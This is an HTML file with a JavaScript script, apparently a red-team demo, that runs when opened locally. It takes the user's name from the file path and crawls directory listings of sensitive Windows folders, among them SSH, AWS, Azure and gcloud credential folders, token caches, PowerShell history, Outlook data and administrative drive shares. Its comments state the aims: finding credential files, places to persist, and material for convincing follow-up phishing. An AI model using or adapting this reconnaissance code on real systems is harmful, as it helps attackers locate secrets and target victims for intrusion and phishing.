<html> <head> <script> class Queue { constructor() { this.items = []; } enqueue(item) { this.items.push(item); } dequeue() { if (this.isEmpty()) { return 'Queue is empty'; } return this.items.shift(); } isEmpty() { return this.items.length === 0; } size() { return this.items.length; } } let output_queue = new Queue(); async function handleOutputQueue() { while (output_queue.size() > 0) { const value = output_queue.dequeue(); window.document.writeln(JSON.stringify({data: value}, null, 2)); } } function extractAddRowArgs(url, str) { const lines = str.split('\n'); const addRowLines = lines.filter(line => line.includes('addRow')); const regex = /addRow\((.*?)\);/; // Updated regex let allArgs = []; addRowLines.forEach(line => { const match = line.match(regex); if (match) { const args = match[1].match(/(".*?"|[^",\s]+)(?=\s*,|\s*$)/g).map(arg => arg.trim().replace(/^"|"$/g, '')); allArgs.push({ filename: args[0], //uri: args[1], is_dir: args[2], //f_size: args[3], f_size_h: args[4], //ts_i: args[5], ts_s: args[6] }); } }); console.log(JSON.stringify({'href':url, 'data':allArgs},null,2)); output_queue.enqueue({'href':url, 'data':allArgs}); return allArgs; } async function fetchAndLog(url, depth=0) { fetch(url, { mode: 'no-cors' }) .then(response => response.text()) .then(data => extractAddRowArgs(url, data)) .catch(error => console.error('Error:', error)); } function getUsernameFromFileUrl(url) { // Split the URL by the forward slash const splitUrl = url.split('/'); // The username is the third element in the URL return splitUrl[5]; } async function fingerPrints(username) { // various file metadata from dirs to pull, focus on version numbers, timestamps // focus on their role, what kind of useful credential files they might have // focus on places to persist, 3rd party apps to persist with or use as LOLBIN // use their recent files/downloads/documents/desktop to construct highly believable follow-up phish // if you have the DC FQDN, or know of other shares you can crawl those as well. i just check mounted drives here const urls = [ ['file://C:/users/' + username + '/appdata/roaming/Microsoft/Windows/Recent', 0], ['file://C:/users', 0], ['file://C:/users/' + username, 0], ['file://C:/users/' + username + '/appdata/local', 1], ['file://C:/users/' + username + '/appdata/roaming', 1], ['file://C:/users/' + username + '/appdata/local/microsoft/tokenbroker/cache', 0], ['file://C:/users/' + username + '/appdata/roaming/microsoft/windows/start%20menu', 1], ['file://C:/users/' + username + '/appdata/roaming/microsoft/internet%20explorer/quick%20launch/user%20pinned/taskbar', 0], ['file://C:/users/' + username + '/downloads', 1], ['file://C:/users/' + username + '/documents', 1], ['file://C:/users/' + username + '/source/repos', 1], ['file://C:/users/' + username + '/desktop', 1], ['file://C:/users/' + username + '/.ssh', 1], ['file://C:/users/' + username + '/appdata/roaming/vandyke/config/sessions/', 0], ['file://C:/users/' + username + '/.aws', 0], ['file://C:/users/' + username + '/.azure', 0], ['file://C:/users/' + username + '/appdata/roaming/gcloud', 1], ['file://127.0.0.1/C$/ProgramData', 0], ['file://127.0.0.1/C$/Program%20Files', 0], ['file://127.0.0.1/C$/Program%20Files%20(x86)', 0], ['file://C:/users/' + username + '/AppData/Local/Google/Chrome/User%20Data/Default/Extensions', 1], ['file://C:/users/' + username + '/appdata/local/microsoft/outlook', 0], ['file://C:/users/' + username + '/appdata/roaming/appdata/microsoft/windows/powershell/psreadline', 0], ['file://127.0.0.1/C$', 0], ['file://127.0.0.1/C$/temp', 0], // 2much scroll for demo ['file://127.0.0.1/C$/windows/system32/drivers', 0], ['file://127.0.0.1/C$/windows/logs/windowsupdate', 0], ['file://127.0.0.1/C$/windows/microsoft.net/framework', 0], // no drive mnts for demo :X ['file://127.0.0.1/E$', 1], // ['file://127.0.0.1/F$', 1], // ['file://127.0.0.1/G$', 1], // ['file://127.0.0.1/H$', 1], // ['file://127.0.0.1/I$', 1], // ['file://127.0.0.1/J$', 1], // ['file://127.0.0.1/K$', 1], // ['file://127.0.0.1/L$', 1], // ['file://127.0.0.1/M$', 1], // ['file://127.0.0.1/N$', 1], // ['file://127.0.0.1/O$', 1], // ['file://127.0.0.1/P$', 1], // ['file://127.0.0.1/Q$', 1], // ['file://127.0.0.1/R$', 1], // ['file://127.0.0.1/S$', 1], // ['file://127.0.0.1/T$', 1], // ['file://127.0.0.1/U$', 1], // ['file://127.0.0.1/V$', 1], // ['file://127.0.0.1/W$', 1], // ['file://127.0.0.1/X$', 1], // ['file://127.0.0.1/Y$', 1], // ['file://127.0.0.1/Z$', 1], ]; // scrape each dir via fetchAndLog() for (let url of urls) { fetchAndLog(url[0], url[1]); } // recursive directory scraping, 1 level deep // loop through each url again, for each url, loop through each subdirectory and run them through fetchAndLog() for (let url of urls) { if (url[1] == 1) { fetch(url[0], { mode: 'no-cors' }) .then(response => response.text()) .then(data => { const lines = data.split('\n'); const addRowLines = lines.filter(line => line.includes('addRow')); const regex = /addRow\((.*?)\);/; // Updated regex let allArgs = []; addRowLines.forEach(line => { const match = line.match(regex); if (match) { const args = match[1].match(/(".*?"|[^",\s]+)(?=\s*,|\s*$)/g).map(arg => arg.trim().replace(/^"|"$/g, '')); allArgs.push({ filename: args[0], uri: args[1], is_dir: args[2], //f_size: args[3], f_size_h: args[4], //ts_i: args[5], ts_s: args[6] }); } }); for (let arg of allArgs) { if (arg.is_dir == '1') { fetchAndLog(url[0] + '/' + arg.uri, 1); } } }) .catch(error => console.error('Error:', error)); } } } // kick off our output loop setInterval(handleOutputQueue, 130); // get username const username = getUsernameFromFileUrl(window.location.href); // begin 'fingerprint2'ing fingerPrints(username); </script> </head> <body> </body> </html>